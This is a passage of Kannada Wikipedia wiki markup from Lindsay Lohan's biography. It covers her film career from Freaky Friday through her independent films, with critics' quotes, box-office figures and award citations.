name="rsbio" /> === ಪ್ರಸಿದ್ದಿಯತ್ತ - ಬೆಳವಣಿಗೆ === ಲೋಹಾನ್ ಮತ್ತೊಂದು ಡಿಸ್ನೇ ಪುನನಿರ್ಮಿತ ಚಿತ್ರದಲ್ಲಿ (2003) ಮುಖ್ಯಪಾತ್ರದಲ್ಲಿ ನಟಿಸಿದರು. ಇದು ಕೌಟುಂಬಿಕ ಕಾಮಿಡಿ ಚಿತ್ರ, ''[[ಫ್ರೀಕೀ ಫ್ರೈಡೇ]]'' ಎಂಬ ಚಿತ್ರದಲ್ಲಿ [[ಜಾಮೀ ಲೀ ಕರ್ಟಿಸ್]] ಜತೆಯಲ್ಲಿರುವ ಪಾತ್ರ. ಲೋಹಾನ್ ಅವರ ಆಸಕ್ತಿಯಂತೆ ಆಕೆಯ ಪಾತ್ರವನ್ನು [[ಗೋಥ್]] ಸ್ರ್ಟೈಲಿನಿಂದ ಸುಲಭವಾಗಿ ಅರ್ಥೈಸುವ ರೀತಿಯಲ್ಲಿ ಬದಲಾವಣೆ ಮಾಡಿ ಬರೆಯಲಾಯಿತು.<ref>{{harvnb|Peretz|2006|p=}}. "ಸ್ಕ್ರಿಪ್ಟ್‌ನಲ್ಲಿ ಬೆರೆದಿರುವಂತೆ, ಪಾತ್ರವು ಒಂದು ಅನಾಗರಿಕವಾಗಿದೆ ಎಂದು ಲೋಹಾನ್ ಈ ರೀತಿ ನೆನಪಿಸಿಕೊಳ್ಳುತ್ತಾರೆ: 'ಅವಳು ನಿಜವಾಗಿ ಅನಾಗರಿಕಗಳಾಗಿರುವಾಗ ಪಾತ್ರಕ್ಕೆ ಯಾರೂ ಸಂಬಂಧ ಹೊಂದುವುದಿಲ್ಲ. ಅಲ್ಲಿ ಏನೂ ಇಲ್ಲ.' ಧ್ವನಿಮುದ್ರಣಕ್ಕೆ ಮೊದಲು ಅದನ್ನು ಬದಲಿಸಬೇಕೆಂದು ಅವರೇ ತೀರ್ಮಾನಿಸಿದರು. 'ನಾನು ನಿಜವಾಗಿಯೂ ಶಾಲೆಯ ವಿದ್ಯಾರ್ಥಿನಿಯಂತೆ ಉಡುಗೆ ತೊಟ್ಟಿದ್ದೆ,' ಎಂದು ಇವರು ಹೇಳುತ್ತಾರೆ. 'ನಾನು ಕಾಲರ್ ಹೊಂದಿರುವ ಟರ್ಕೂಸ್ ಅಬೆರ್‌ಕ್ರೋಬಿ ಮತ್ತು ಫಿಚ್ ಶರ್ಟ್ ಮತ್ತು ಕಾಕಿ ಪ್ಯಾಂಟ್, ದೇವರಿಗೆ ಪ್ರತಿಜ್ಞೆಯೊಂದಿಗೆ ತಲೆಗೆ ಬಿಳಿಯ ಹೆಡ್‌ಬ್ಯಾಂಡ್ ಅನ್ನು ತೊಟ್ಟಿದ್ದೆ. ಮತ್ತು ನನ್ನ ಕೂದಲು ನಿಜವಾಗಿಯೂ ನೆಟ್ಟಗೆ ಮತ್ತು ಸುಂದರವಾಗಿ ಹಾಗೂ ಕೆಂಪು ಮತ್ತು ಹೊಂಬಣ್ಣದಿಂದ ಕೂಡಿತ್ತು. ನನ್ನ ಏಜೆಂಟು ಕರೆ ಮಾಡಿದರೆ "ನೀನೇನು ಮಾಡುತ್ತಿರುವೆ ?! ಎಂಬಂತಿತ್ತು{{" '}} ಸ್ಟುಡಿಯೊವು ಪಾತ್ರವನ್ನು ಮರುರಚಿಸುವಲ್ಲಿ ಕೊನೆಗೊಂಡಿತ್ತು.{{' "}}</ref> ಈ ವಿಷಯವನ್ನು ಕುರಿತು ವಿಮರ್ಶಕ [[ರೋಜರ್ ಎಬರ್ಟ್]] ಅವರು ಬರೆಯುತ್ತಾರೆ, ಲೋಹಾನ್ [[ಜೋಡಿ ಫಾಸ್ಟರ್]] ಅವರಿಗಿರುವಂತಹ ಗಾಂಭೀರ್ಯವಿದೆ ಅದು ಅತೀವವಾಗಿ ಕೇಂದ್ರೀಕರಿಸುವಂತಹ ಶಕ್ತಿ ಪಡೆದಿದ್ದು ಒಬ್ಬ ಯುವತಿಯ ವಯಸ್ಸಿಗೆ ಮೀರುವಂತಹ ಗುಣವನ್ನು ಪಡೆದಿದ್ದಾರೆ".<ref name="ebert">{{cite web |last=Ebert |first=Roger |title=Freaky Friday |url=http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/20030806/REVIEWS/308060301/1023 |publisher=[[Sun-Times Media Group]] |date=August 6, 2003 |accessdate=October 3, 2009 }}</ref> ''ಫ್ರೈಡೇ ಲೋಹಾನ್ '' ಅವರಿಗೆ [[ಅಮೋಘವಾದ ನಟನಾ ಕೌಶಲ್ಯಕ್ಕಾಗಿ]] ನೀಡುವ ಮುಖ್ಯವಾದ ಒಂದು ಬಹುಮಾನವನ್ನು [[2004 ಎಮ್.ಟಿ.ವಿ ಮೂವೀ ಅವಾರ್ಡ್ಸ್‌]]ನಲ್ಲಿ ತಂದುಕೊಟ್ಟಿತು.<ref>{{cite web |url=http://www.mtv.com/ontv/movieawards/2004/ |title=2004 Movie Awards Winners |publisher=MTV |accessdate=November 14, 2009 }}</ref> ಇದು ಆಕೆಗೆ 2009 ರಲ್ಲಿ ಅತ್ಯಂತ ಹೆಚ್ಚಿನ ವಾಣಿಜ್ಯ ಹಾಗೂ ವಿಮರ್ಶಾತ್ಮಕ ಚಿತ್ರದ ಯಶಸ್ಸು. ಇದು ಜಗತ್ತಿನಾದ್ಯಂತ 16 ಮಿಲಿಯನ್ [[ಯು.ಎಸ್.ಡಾಲರ್‌]]ಗಳನ್ನು ಗಳಿಸಿಕೊಟ್ಟಿತಲ್ಲದೆ [[ರಾಟನ್ ಟೊಮಾಟೋಸ್]] ೮೮% ರಷ್ಟು ತಾಜಾ ರೇಟಿಂಗ್ ಪಡೆಯಿತು.<ref name="ffbox">{{cite web |title=Freaky Friday (2003) |url=http://www.boxofficemojo.com/movies/?id=freakyfriday03.htm |work=Box Office Mojo |publisher=IMDb.com |accessdate=August 26, 2009 }}</ref><ref>{{cite web |title=Lindsay Lohan - Rotten Tomatoes Celebrity Profile |url=http://www.rottentomatoes.com/celebrity/lindsay_lohan/ |work=Rotten Tomatoes |accessdate=October 15, 2009 }}</ref> 2004ರಲ್ಲಿ ಲೋಹಾನ್ ಮುಖ್ಯ ಪಾತ್ರಗಳನ್ನು ನಿರ್ವಹಿಸುವ ಎರಡು ಚಿತ್ರಗಳು ಬಿಡುಗಡೆಯಾದವು. ಮೊದಲನೆಯ ಚಿತ್ರ ''[[ಕನ್‌ಫೆಶನ್ಸ್ ಆಫ್ ಎ ಟೀನೇಜ್ ಡ್ರಾಮಾ ಕ್ವೀನ್]]'' 29 ಮಿಲಿಯನ್ ಡಾಲರ್‌ಗಳನ್ನು ಸ್ವದೇಶದಲ್ಲಿ ಗಳಿಸಿ ಬಾಕ್ಸ್ ಆಫೀಸ್‌ನಲ್ಲಿ ಮೆಚ್ಚುಗೆ ಪಡೆಯಿತು. [[ಬಾಕ್ಸ್ ಆಫೀಸ್ ಮೋಜೋ]] ಪತ್ರಿಕೆಯಲ್ಲಿ ಬ್ರ್ಯಾಂಡ್ ಗ್ರೇ ಅವರು ಚಿತ್ರದ ಬಗೆಗೆ ಮೆಚ್ಚುಗೆ ವ್ಯಕ್ತಪಡಿಸುತ್ತಾ "ಯುವತಿಯರಿಗೆ ಮಾತ್ರವೆಂದು ಕಟ್ಟುಪಾಡು ಇದ್ದರೂ ಚಿತ್ರವು ನಿರೀಕ್ಷೆಗಿಂತಲೂ ಹೆಚ್ಚು ಯಶಸ್ವಿಯಾಯಿತು" ಎಂದಿದ್ದಾರೆ.<ref name="mgbox" /> ಆದರೆ ವಿಮರ್ಶಕರ ದೃಷ್ಟಿಯಲ್ಲಿ ಇದೊಂದು ಯಶಸ್ವಿ ಚಿತ್ರವಾಗಲಿಲ್ಲ.<ref>{{cite web |url=http://www.rottentomatoes.com/m/confessions_of_a_teenage_drama_queen/ |title=Confessions of a Teenage Drama Queen (2004) |publisher=[[Rotten Tomatoes]] |accessdate=October 21, 2009 }}</ref> " ಲೋಹಾನ್ ಒಬ್ಬ ಆಶಾದಾಯಕ ತಾರೆಯಾಗಿದ್ದರೂ ಆಕೆ ಮತ್ತಷ್ಟು ತಪಸ್ಸು ಮಾಡಿದರೆ ಮಾತ್ರ ''ತಪ್ಪೊಪ್ಪಿಕೆಗಳನ್ನು'' ಕ್ಷಮಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ," ಎಂದು [[ರಾಬರ್ಟ್ ಕೆ.ಎಲ್ಡರ್]] ಹೇಳಿದ್ದಾರೆ.<ref name="tdq_review">{{cite web |publisher=[[Metromix]] |title=Little to Forgive in ''Confessions'' |last=Elder |first=Robert K. |url=http://chicago.metromix.com/movies/review/little-to-forgive-in/158689/content |accessdate=October 3, 2009 }}</ref> ಡಿಸ್ನೇಯಿಂದ ಹೊರಗಿನ ಚಿತ್ರಗಳಲ್ಲಿ ''[[ಮೀನ್ ಗರ್ಲ್ಸ್]]'' ಯುವ ಕಾಮಿಡಿ ಚಿತ್ರಗಳಲ್ಲಿ ಲೋಹಾನ್ ಅವರ ಮೊದಲ ಚಲನಚಿತ್ರವೆನಿಸುತ್ತದೆ. ಈ ಚಿತ್ರವು ವಾಣಿಜ್ಯ ದೃಷ್ಟಿಯಿಂದ ವಿಮರ್ಶಕರು ಮೆಚ್ಚಿಕೊಂಡಿದ್ದಾರೆ. ಪ್ರಪಂಚದ ಎಲ್ಲೆಡೆಗಳಲ್ಲಿಯೂ ಪ್ರದರ್ಶನಗೊಂಡ ಈ ಚಿತ್ರ 129 ಮಿಲಿಯನ್ ಡಾಲರ್‌ಗಳನ್ನು ಸಂಪಾದಿಸಿದೆ ಮತ್ತು ಬ್ರ್ಯಾಂಡ್ ಗ್ರೇ ಅವರು ಚಿತ್ರವನ್ನು ವಿಮರ್ಶಿಸುತ್ತಾ, "ಈ ಚಿತ್ರವು ತಾರೆಯನ್ನು ನ್ಯೂ ಟೀನ್ ಮೂವೀ ಕ್ವೀನ್ ಅಂತಸ್ತಿನಲ್ಲಿ ಗಟ್ಟಿಯಾಗಿ ನೆಲೆಗೊಳಿಸುತ್ತದೆ" ಎಂದು ಬರೆಯುತ್ತಾರೆ.<ref name="mgbox">{{cite web |last=Gray |first=Brandon |title='Mean Girls' Surprisingly Nice $24.4M Weekend |url=http://www.boxofficemojo.com/news/?id=1325&p=.htm |work=Box Office Mojo |publisher=IMDb.com |date=May 3, 2004 |accessdate=October 3, 2009 }}</ref><ref>{{cite web |url=http://www.rottentomatoes.com/m/mean_girls/ |title=Mean Girls (2004) - Rotten Tomatoes }}</ref><ref>{{cite web |title=Mean Girls (2004) |url=http://www.boxofficemojo.com/movies/?id=meangirls.htm |work=Box Office Mojo |publisher=[[Internet Movie Database|IMDb.com]] |accessdate=October 17, 2009 }}</ref> "ಲೋಹಾನ್ ನಮ್ಮನ್ನು ಮತ್ತೊಮ್ಮೆ ಬೆರಗುಗೊಳಿಸುತ್ತಾಳೆ "ಎಂದು [[ಸ್ಟೀವ್ ರೋಡ್ಸ್]] ಅಭಿಪ್ರಾಯಪಟ್ಟರು. "ಆಕೆಯ ಬುದ್ಧಿವಂತಿಕೆಯ ಮಾದರಿ ಕಾಮಿಡಿಗೆ ಅನುಪೂರವಾದ ಚಿತ್ರಕಥೆ ಎಂದು ಮೆಚ್ಚುಗೆ ವ್ಯಕ್ತಪಡಿಸಿದ್ದಾರೆ ".<ref name="rhodes">{{cite web |publisher=rottentomatoes.com |title=Internet Reviews:'' Mean Girls |url=http://www.rottentomatoes.com/click/movie-1131931/reviews.php?critic=columns&sortby=default&page=7&rid=1275643 |accessdate=January 29, 2006 }}</ref> ಲೋಹಾನ್ ಪಾತ್ರಕ್ಕೆ ವಿಶೇಷವಾಗಿ ''ಫ್ರೈಡೇ'' ಮತ್ತು ''ಮೀನ್ ಗರ್ಲ್ಸ್ '' ಹಾಗೂ ಬ್ರೇಕ್ ಔಟ್ ಮೂವೀಸ್ಟಾರ್, ನಾಲ್ಕು ಬಹುಮಾನಗಳು 2004ರಲ್ಲಿ [[ಟೀನ್ ಚಾಯ್ಸ್ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು ಪಡೆದುಕೊಂಡರು.<ref>{{cite web |publisher=Washington Post |title=NBC Sets and Spikes the Competition |url=http://www.washingtonpost.com/ac2/wp-dyn/A9835-2004Aug17 |date=August 18, 2004 |accessdate=October 17, 2009 }}</ref> ಅಲ್ಲದೆ ''ಮೀನ್ ಗರ್ಲ್ಸ್'' [[2005 ಎಂ.ಟಿ.ವಿ ಮೂವೀಸ್‌ನ ಎರಡು ಪುರಸ್ಕಾರಗಳನ್ನು]] ಪಡೆದವು. ಎಲ್ಲಾ ಪಾತ್ರಗಳಲ್ಲಿ ಮಾತ್ರವಲ್ಲದೆ [[ಮಹಿಳಾ ಪಾತ್ರಗಳಲ್ಲಿ ಅತ್ಯಂತ ಉತ್ತಮ ಪಾತ್ರ]]ವನ್ನು ನಿರ್ವಹಿಸಿದ ಸಲುವಾಗಿ ಮತ್ತು [[ಬೆಸ್ಟ್ ಆನ್ - ಸ್ಕ್ರೀನ್ ಟೀಮ್ ವರ್ಗದಲ್ಲಿ ಪರಿಗಣಿತವಾಯಿತು.]].<ref>{{cite web |url=http://www.mtv.com/ontv/movieawards/2005/ |title=2005 Movie Awards Winners |publisher=MTV |accessdate=November 14, 2009 }}</ref> ''ಮೀನ್ ಗರ್ಲ್ಸ್'' ನಿಂದಾಗಿ ಲೋಹಾನ್ ಅವರ ವ್ಯಕ್ತಿತ್ವ ಸಾರ್ವತ್ರಿಕವಲಯದಲ್ಲಿ ಉನ್ನತ ಮಟ್ಟಕ್ಕೇರಿತು ಮತ್ತು ಮುಂದಿನ ಅವಳ ಪಾಪಾರಾಜ್ಜಿ ಪ್ರಾರಂಭವಾಯಿತು.<ref>{{cite news |last=Binelli |first=Mark |title=Confessions of a Teenage Drama Queen |publisher=Rolling Stone |date=August 19, 2004 |url=http://www.rollingstone.com/news/coverstory/lindsay_lohan_teenage_drama_queen/page |quote=All of which resulted in Lohan becoming a favorite object of scrutiny for the paparazzi and the online pervert community alike. |accessdate=August 20, 2008 |archive-date=ಡಿಸೆಂಬರ್ 21, 2008 |archive-url=https://web.archive.org/web/20081221022138/http://www.rollingstone.com/news/coverstory/lindsay_lohan_teenage_drama_queen/page |url-status=dead }}</ref> [[ಚಿತ್ರ:Herbie.jpg|thumb|ಹೆರ್ಬಿ, ಲೋಹಾನ್ ಅವರೊಂದಿಗೆ ಕಂಡುಬರುವ ಕಾರ್ [62] (2005).]] [[ಆಂಥ್ರೋಪೊಮಾರ್ಫಿಕ್]] ಕಾರ್ [[ಹರ್ಬಿ]]ಯೊಂದಿಗೆ ಸರಣಿಯಲ್ಲಿನ ಐದನೇ ಚಿತ್ರಕ್ಕಾಗಿ ಲೋಹಾನ್ 2005 ರಲ್ಲಿ ಡಿಸ್ನೀಗೆ ''[[Herbie: Fully Loaded]],'' ಗಾಗಿ ಹಿಂತಿರುಗಿದರು. ಈ ಚಿತ್ರ 144 ಮಿಲಿಯನ್ ಯು.ಎಸ್.ಡಾಲರುಗಳನ್ನು ವಿಶ್ವದಾದ್ಯಂತ ಪ್ರದರ್ಶನಗಳಲ್ಲಿ ಗಳಿಸಿತು ಮತ್ತು ವಿಮರ್ಶಕರು ಬಗೆಬಗೆಯಾಗಿ ಈ ಚಿತ್ರವನ್ನು ಕುರಿತು ಬರೆದಿದ್ದಾರೆ.<ref>{{cite web |title=Herbie: Fully Loaded (2005) |url=http://www.boxofficemojo.com/movies/?id=herbie05.htm |work=Box Office Mojo |publisher=IMDb.com |accessdate=January 25, 2006 }}</ref><ref>{{cite web |url=http://www.rottentomatoes.com/m/herbie_fully_loaded/ |title=Herbie: Fully Loaded (2005) |publisher=[[Rotten Tomatoes]] |accessdate=October 17, 2009 }}</ref> [[ಸ್ಟೆಫೆನ್ ಹೋಲ್ಡನ್]] ಬರೆಯುತ್ತಾ "ಈ ತಾರೆ ನಿಜ ಅರ್ಥದಲ್ಲಿ ಒಬ್ಬ ತಾರೆಯಾಗಿದ್ದಾಳೆ ತೆರೆಯ ಮೇಲೆ ಅತ್ಯಂತ ಸಹಜವಾಗಿ ಕಾಣಿಸಿಕೊಳ್ಳುತ್ತಾಳೆ "ಎನ್ನುತ್ತಾರೆ.<ref>{{cite news |url=https://www.nytimes.com/2005/06/22/movies/22herb.html |title=Lord Love a VW Bug That Knows Its Mind |date=June 22, 2005 |author=[[Stephen Holden]] |publisher=[[ದ ನ್ಯೂ ಯಾರ್ಕ್ ಟೈಮ್ಸ್]] |accessdate=October 17, 2009 }}</ref> [[ಜೇಮ್ಸ್ ಬೆರಾರ್ಡಿನೆಲ್ಲಿ]] ಅವರು ಬರೆಯುತ್ತಾ "ಈಕೆ ಪ್ರಕಾಶಮಾನವಾದ ಒಬ್ಬ ತಾರೆಯಾಗಿದ್ದರೂ ಇಲ್ಲಿ ಅಂತಹ ಹೆಚ್ಚಿನ ಸಾಧನೆಯನ್ನೇನೂ ಮಾಡದೆ ಪ್ರಾಮುಖ್ಯತೆ ವಹಿಸುವುದಿಲ್ಲ" ಎನ್ನುತ್ತಾರೆ ".<ref>{{cite web |url=http://www.reelviews.net/php_review_template.php?identifier=1188 |title=Herbie: Fully Loaded |author=[[James Berardinelli]] |publisher=ReelViews |accessdate=October 17, 2009 }}</ref> ''[[ವ್ಯಾನಿಟಿ ಫೇರ್]] '' ಲೋಹಾನ್ಸ್ ಅವರ ಮೊದಲನೆಯ “ಅವನತಿಯ ಹೆಜ್ಜೆ”ಯೊಂದು ಟೀಕಿಸುತ್ತಾ ಆಕೆಯನ್ನು ಕಿಡ್ನಿಯ ಸೋಂಕಿಗಾಗಿ ಆಸ್ಪತ್ರೆಗೆ ಸೇರಿಸುವುದು, ವೈಯುಕ್ತಿಕ ಜೀವನದಲ್ಲಿ ಹೆಚ್ಚಿನ ಒತ್ತಡ ಮುಂತಾದವು ಇದರಲ್ಲಿ ವ್ಯಕ್ತವಾಗಿದೆ. ಈ ಪತ್ರಿಕೆಯ ಮುಂದುವರೆಯುತ್ತಾ ಲೋಹಾನ್ ಹೇಗೆ ತನ್ನ ಅಭಿವೃದ್ಧಿಯ ಪ್ರವಾಸವನ್ನು ಮೊಟಕುಗೊಳಿಸಿ ಚಿತ್ರದ ಬಗೆಗೆ ನಿರಾಸಕ್ತಿಯನ್ನು ತೋರಿಸಿದರೆಂದು ವಿವರಿಸುತ್ತದೆ. ಇದೊಂದು “ಡಿಸ್ನೇಗೆ ವಿರುದ್ಧವಾದ ನಡವಳಿಕೆ” ಎಂದು ವಿವರಿಸುತ್ತದೆ.<ref>{{harvnb|Peretz|2006|p=}}.</ref> ಲೋಹಾನ್ ಅವರ ಆನಂತರದ ಚಿತ್ರ [[ವಿಶಾಲವಾದ ಪರದೆಯಲ್ಲಿ]], [[ಜಸ್ಟ್ ಮೈ ಲಕ್]] ಎಂಬ ರೋಮ್ಯಾಂಟಿಕ್ ಕಾಮಿಡಿ ಮೇ 2006 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಯಿತು. ಆ ಚಿತ್ರದಲ್ಲಿನ ಪಾತ್ರಕ್ಕಾಗಿ ಲೋಹಾನ್ ಅವರಿಗೆ 7 ಮಿಲಿಯನ್ ಡಾಲರ್‌ಗಿಂತಲೂ ಹೆಚ್ಚು ಹಣವನ್ನು ಪಾವತಿ ಮಾಡಲಾಯಿತೆಂದು ''[[ವೆರೈಟಿ]]'' ಹೇಳುತ್ತದೆ.<ref>{{cite web |url=http://www.variety.com/article/VR1117915397.html |title=Thesp Lohan bids adieu to Endeavor |date=December 22, 2004 |author=Cathy Dunkley |publisher=[[Variety (magazine)|Variety]] |accessdate=October 21, 2009 }}</ref> ಬ್ರ್ಯಾಂಡ್ ಗ್ರೇ ಅವರು ಚಿತ್ರದ ಬಗೆಗೆ ಬರೆಯುತ್ತಾ ವಾರಾಂತ್ಯದಲ್ಲಿ ಈ ಚಿತ್ರದ ಒಟ್ಟು ಸಂಪಾದನೆ 5.7 ಮಿಲಿಯನ್ ಡಾಲರ್ ನಷ್ಟಾಗುತ್ತದೆಂದು "ಇದು ತಾರೆ ಲಿಂಡ್ಸೇ ಲೋಹಾನ್ ಅವರ ಇದುವರೆಗಿನ ಎಲ್ಲಾ ಚಿತ್ರಗಳ ಸಂಪಾದನೆಯನ್ನು ಮೀರುತ್ತದೆಂದು" ಬರೆಯುತ್ತಾರೆ.<ref>{{cite web |last=Gray |first=Brandon |title='Poseidon' Capsizes, Cruise Clings to Top Spot |url=http://boxofficemojo.com/news/?id=2067&p=.htm |work=Box Office Mojo |publisher=IMDb.com |date=May 15, 2006 |accessdate=October 21, 2009 }}</ref> ಚಿತ್ರವು ಅಷ್ಟೇನೂ ಒಳ್ಳೆಯ ವಿಮರ್ಶೆಯ ಅಭಿಪ್ರಾಯ ಪಡೆಯದಿದ್ದರೂ ಆಕೆಯ [[ಕೆಟ್ಟ ಅಭಿನಯಕ್ಕಾಗಿ]] [[ಗೋಲ್ಡನ್ ರಾಸ್‌ಫೆರಿ]] ನಾಮಿನೇಷನ್ ಗಳಿಸಿತು.<ref>{{cite web |title=Just My Luck (2006) - Rotten Tomatoes |url=http://www.rottentomatoes.com/m/just_my_luck/}}</ref><ref>{{cite web |url=http://razzies.com/history/06nomActr.asp |title=Razzies© 2006 Nominees for Worst Actress |accessdate=October 18, 2009 |archive-date=ಜನವರಿ 14, 2010 |archive-url=https://web.archive.org/web/20100114041426/http://www.razzies.com/history/06nomActr.asp |url-status=dead }}</ref> === ಸ್ವತಂತ್ರ ಚಿತ್ರಗಳು === ''ಜಸ್ಟ್ ಮೈ ಲಕ್'' ಆದ ನಂತರ ಲೋಹಾನ್ ಪರಿಪಕ್ವಗೊಂಡ [[ಸ್ವತಂತ್ರವಾದ ಚಿತ್ರಗಳಲ್ಲಿ]] ಸಣ್ಣ ಪಾತ್ರಗಳತ್ತ ಹೆಚ್ಚು ಗಮನ ನೀಡಿದರು.<ref>{{cite web |last=Goldman |first=Andrew |title=La Vida Lohan |publisher=Elle |year=2006 |date=September 2006 |url=http://www.elle.com/coverstory/9103/lindsay-lohan.html |accessdate=August 20, 2008 |quote=her recent choices to take small roles in more adult-themed independent films |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TS0LfSV?url=http://www.elle.com/Pop-Culture/Cover-Shoots/La-Vida-Lohan |url-status=dead }}</ref> [[ರಾಬರ್ಟ್ ಆಲ್ಟ್ ಮನ್]] ಅವರ ಸಮಗ್ರ ಕಾಮಿಡಿ'' [[ಎ ಪ್ರೈರಿ ಹೋಮ್ ಕಂಪ್ಯಾನಿಯನ್]], ಸಣ್ಣ ಪ್ರಮಾಣದಲ್ಲಿ ಜೂನ್ 2006ರಲ್ಲಿ [[ಸೀಮಿತದಲ್ಲಿ ಬಿಡುಗಡೆಯಾಯಿತು]]. ಅದರಲ್ಲಿ ಲೋಹಾನ್ [[ಮೆರೆಲ್ ಸ್ಟ್ರೀಪ್]] ಮತ್ತು [[ಲೈಲೆ ಟಾಮ್ಲಿನ್]]'' , ಅವರ ಸಂಗಡ ಪಾತ್ರವಹಿಸಿದರು. [[ಪೀಟರ್ ಟ್ರಾವೆಲ್ಸ್]] ಅವರು ಈ ಚಿತ್ರದ ಬಗೆಗೆ ಬರೆಯುತ್ತಾ “ಲೋಹಾನ್ ಅವರು '[[ಫ್ರಾಂಕೀ ಅಂಡ್ ಜಾನೀ]]' ರೂಪವನ್ನು ಸಂದರ್ಭಕ್ಕೆ ತಕ್ಕಂತೆ ಎತ್ತಿ ಹಿಡಿದ್ದಾರೆ’’ ಎಂದು ಹೇಳಿದ್ದಾರೆ.<ref name="aphcreview">{{cite web |publisher=rollingstone.com |title=Rolling Stone:'' A Prairie Home Companion'': Review |url=http://www.rollingstone.com/reviews/movie/_/id/9200812/rid/10466862/ |accessdate=June 14, 2006 |archive-date=ಜೂನ್ 12, 2006 |archive-url=https://web.archive.org/web/20060612234127/http://www.rollingstone.com/reviews/movie/_/id/9200812/rid/10466862/ |url-status=dead }}</ref> ಸಹಪಾತ್ರಧಾರಿ ಸ್ಟ್ರೀಪ್ ಅವರು ಲೋಹಾನ್ ಅವರ ನಟನೆಯ ಬಗೆಗೆ ಹೇಳುತ್ತಾ, "ಕೆಲವು ರೂಪವನ್ನು ಅವರು ಕರಗತ ಮಾಡಿಕೊಂಡಿದ್ದಾರೆ" ಮತ್ತು "ಕ್ಯಾಮೆರಾದ ಎದುರಿನಲ್ಲಿ ಆಕೆಯು ಜೀವಂತವಾಗಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾಳೆ ” ಎಂದು ಅಭಿಪ್ರಾಯವನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದ್ದಾರೆ.<ref>{{cite web |url=http://www.wmagazine.com/celebrities/archive/lindsay_lohan_meryl_streep |title=Two Queens |date=May 2006 |author=Kevin West |publisher=W |accessdate=December 15, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TS1qVqf?url=http://www.wmagazine.com/celebrities/archive/lindsay_lohan_meryl_streep |url-status=dead }}</ref> [[ದಿ ಎಮಿಲಿಯೇ ಎಸ್ಟೆವೆಜ್ /0} ಡ್ರಾಮಾ ಬಾಬ್ಬಿ|ದಿ ಎಮಿಲಿಯೇ ಎಸ್ಟೆವೆಜ್ /0} ಡ್ರಾಮಾ ''[[ಬಾಬ್ಬಿ]]'' ]] ಥಿಯೇಟರುಗಳಲ್ಲಿ ನವೆಂಬರ್ 2006 ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾಯಿತು. ಈ ಚಿತ್ರದಲ್ಲಿ ಲೋಹಾನ್ ವಹಿಸುವ ಪಾತ್ರಗಳ ಬಗೆಗೆ ಅನುಕೂಲಕರವಾದ ವಿಮರ್ಶೆ, ಅದರಲ್ಲಿಯೂ ವಿಶೇಷವಾಗಿ [[ಶಾರೋನ್ ಸ್ಟೋನ್]]ಗೆ ವಿರುದ್ಧವಾಗಿ ನಟಿಸಿರುವ ಒಂದು ದೃಶ್ಯವನ್ನು ಕುರಿತು ಹೊರಬಂದಿತು.<ref>{{cite web |last=Hornaday |first=Ann |title='Bobby' Turns Back the Clock To a Fateful Day |publisher=Washington Post |date=November 23, 2006 |url=http://www.washingtonpost.com/wp-dyn/content/article/2006/11/22/AR2006112202099.html |quote=... that generation is most effectively embodied by a character named Diane (Lindsay Lohan), who is planning to marry a boy she knows only vaguely to keep him from going to Vietnam. When she explains what she's doing to a manicurist played by Sharon Stone, the unspoken wisdom between the two women is palpable and quietly electrifying. |accessdate=November 4, 2008 }}</ref><ref>{{cite web |last=Macdonald |first=Moira |title=Poignant story gets a lift from heavyweight cast |publisher=Seattle Times |date=December 21, 2006 |url=http://seattletimes.nwsource.com/html/movies/2003443730_bobby23.html |quote=But for every moment that sags, another soars. Lindsay Lohan is tremulous and sweet as Diane. ... Sharon Stone<nowiki>['s]</nowiki> ... scenes with Lohan ... are surprisingly gentle. |accessdate=November 4, 2008 }}</ref> ''ಬಾಬಿ'' ಸಮಗ್ರ ಪಾತ್ರದ ಭಾಗವಾಗಿ ಲೋಹಾನ್ ಅವರನ್ನು [[ಸ್ಕ್ರೀನ್ ಆಕ್ಟರ್ಸ್ ಗಿಲ್ಡ್ ಪುರಸ್ಕಾರ]]ಕ್ಕೆ ನಾಮನಿರ್ದೇಶನ ಮಾಡಲಾಯಿತು, ಮತ್ತು ಒಂದು ಬಹುಮಾನ [[ಹಾಲಿವುಡ್ ಫಿಲ್ಮೋತ್ಸವ]]ದಲ್ಲಿ ಸಮಗ್ರ ಅಭಿನಯಕ್ಕಾಗಿ ಆಕೆ ಒಂದು ಬಹುಮಾನವನ್ನು ಸಹ ಪಡೆದಳು ಅಲ್ಲದೆ ಅದೇ ಸಂದರ್ಭದಲ್ಲಿ ಬ್ರೇಕ್ ಔಟ್ ಅವಾರ್ಡ್‌ ಅನ್ನು 2006 ರಲ್ಲಿ ಪಡೆದಳು.<ref>{{cite web |url=http://www.cbsnews.com/stories/2007/01/17/entertainment/main2369558.shtml |title=Lindsay Lohan Enters Rehab |publisher=CBS |date=January 17, 2007 |author=Judy Faber |quote=She's up for a SAG award as part of the ensemble cast of "Bobby." |accessdate=November 14, 2009 |archive-date=ಫೆಬ್ರವರಿ 15, 2012 |archive-url=https://www.webcitation.org/65TS3x5sG?url=http://www.cbsnews.com/stories/2007/01/17/entertainment/main2369558.shtml |url-status=dead }}</ref><ref>{{cite web |url=http://hollywoodawards.com/news/2006/honorees_nominees.html |title=Hollywood Film Festival® News |publisher=Hollywood Network, Inc |accessdate=November 14, 2009 |archive-date=ಸೆಪ್ಟೆಂಬರ್ 27, 2007 |archive-url=https://web.archive.org/web/20070927085900/http://hollywoodawards.com/news/2006/honorees_nominees.html |url-status=dead }}</ref> ಆನಂತರ ಆಕೆ ''[[ಚಾಪ್ಟರ್ 27]]'' ರಲ್ಲಿ [[ಜ್ಹಾನ್ ಲೆನಾನ್]] ಅವರ ಫ್ಯಾನ್ ಆದಳು. [[ಮಾರ್ಕ್ ಡೇವಿಡ್ ಚಾಪ್ ಮನ್]] ([[ಜಾರೆದ್ ಲೆಟೋ]]) ಗಾಯಕನನ್ನು ಕೊಲೆ ಮಾಡಿದ ದಿನದಂದು ನಡೆಯಿತು. ಚಿತ್ರೀಕರಣ 2006ರಲ್ಲಿ ಮುಗಿಯಿತು. ಆದರೆ ಯು.ಎಸ್.ನಲ್ಲಿ ಅದು ಬಿಡುಗಡೆಯಾಗಬೇಕಾದಾಗ 